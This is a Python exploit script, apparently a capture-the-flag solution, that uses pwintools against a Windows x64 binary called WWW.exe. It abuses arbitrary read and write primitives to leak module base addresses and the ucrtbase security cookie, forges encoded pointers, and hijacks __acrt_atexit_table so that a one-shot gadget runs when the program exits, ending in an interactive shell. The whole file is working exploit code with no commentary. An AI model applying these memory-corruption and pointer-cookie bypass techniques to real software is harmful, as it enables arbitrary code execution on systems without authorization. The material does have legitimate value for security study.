from pwintools import *

MASK  = 0xffffffffffffffff
SZMAX = 0x7fffffffffffffff

binary = PE(r'.\x64\Release\WWW.exe')
k32  = PE(r'C:\Windows\System32\kernel32.dll')
nt   = PE(r'C:\Windows\System32\ntdll.dll')
vcrt = PE(r'C:\Windows\System32\vcruntime140.dll')
ucrt = PE(r'C:\Windows\System32\ucrtbase.dll')
p = Process('./x64/Release/WWW.exe')
p.timeout = 1E8

def ror8(val, rot):
    return ((val >> rot) | (val << (0x40 - rot))) & MASK

def EncodePointer(val, cookie):
    return ror8(val ^ cookie, cookie & 0x3f)

def DecodePointer(val, cookie):
    return ror8(val, 0x40 - (cookie & 0x3f)) ^ cookie

def read_rel(idx):
    p.recvuntil('> ')
    p.sendline('1')
    p.recvuntil('Index: ')
    p.sendline(str(idx))
    p.recvuntil(' = ')
    return int(p.recvline()) & MASK

def write_rel(idx, val):
    p.recvuntil('> ')
    p.sendline('2')
    p.recvuntil('Index: ')
    p.sendline(str(idx))
    p.recvuntil(' = ')
    val &= MASK
    if val > SZMAX:
        val -= (MASK + 1)
    p.sendline(str(val))

def read_abs(addr):
    ofs = addr - (binary.base + 0x4618)
    assert(ofs % 8 == 0)
    return read_rel(ofs // 8)

def write_abs(addr, val):
    ofs = addr - (binary.base + 0x4618)
    assert(ofs % 8 == 0)
    write_rel(ofs // 8, val)

def quit():
    p.recvuntil('> ')
    p.sendline('0')
    p.recvline()

# leak module base
k32.base    = read_rel((0x3000 - 0x4618) / 8) - k32.symbols['SetWaitableTimer']
nt.base     = read_rel((0x3038 - 0x4618) / 8) - nt.symbols['RtlInitializeSListHead']
vcrt.base   = read_rel((0x30b0 - 0x4618) / 8) - vcrt.symbols['__C_specific_handler']
ucrt.base   = read_rel((0x30f8 - 0x4618) / 8) - ucrt.symbols['_cexit']
binary.base = read_rel((0x31c8 - 0x4618) / 8) - 0x1AFC
assert(reduce(lambda x, y: x | y.base, [k32, nt, vcrt, ucrt, binary], 0) & 0xffff == 0)
log.success('kernel32.dll base:     0x{:016x}'.format(k32.base))
log.success('ntdll.dll base:        0x{:016x}'.format(nt.base))
log.success('vcruntime140.dll base: 0x{:016x}'.format(vcrt.base))
log.success('ucrtbase.dll base:     0x{:016x}'.format(ucrt.base))
log.success('WWW.exe base:          0x{:016x}'.format(binary.base))

# leak ucrtbase!__security_cookie
ucrt.cookie = read_abs(ucrt.base + 0xEA430)
assert(ucrt.cookie >> 0x30 == 0)
log.success('ucrtbase.dll cookie:   0x{:016x}'.format(ucrt.cookie))

# stack aligner thunk
align_thunk = ucrt.base + 0xEC398
align_goto = ucrt.base + 0x187CC
write_abs(align_thunk, DecodePointer(align_goto, ucrt.cookie))
log.success('Stack align thunk prepared!')

# create fake __acrt_atexit_table element @ binary .data
scratch = binary.base + 0x4800
oneshot_rbp = scratch + 0x28
fake_elem = oneshot_rbp - 0x8
oneshot = ucrt.base + 0xAB495
dec_oneshot = DecodePointer(oneshot, ucrt.cookie)
dec_oneshot_rbp = DecodePointer(scratch, ucrt.cookie)
write_abs(fake_elem, dec_oneshot)
write_abs(fake_elem + 8, dec_oneshot_rbp)
write_abs(oneshot_rbp - 0x20, 0)  # satisfy constraint
log.info('rbp @ oneshot:         0x{:016x}'.format(oneshot_rbp))
log.info('fake atexit element:   0x{:016x}'.format(fake_elem))
log.success('fake atexit element prepared!')

# overwrite __acrt_atexit_table to {DecodePointer(1), DecodePointer(fake_elem + 8)}
__acrt_atexit_table = ucrt.base + 0xEC028
write_abs(__acrt_atexit_table, DecodePointer(1, ucrt.cookie))
write_abs(__acrt_atexit_table + 8, DecodePointer(fake_elem + 8, ucrt.cookie))
log.success('fake __acrt_atexit_table prepared!')

# Trigger exploit by graceful exit
log.info('Triggering exploit...')
quit()

p.interactive()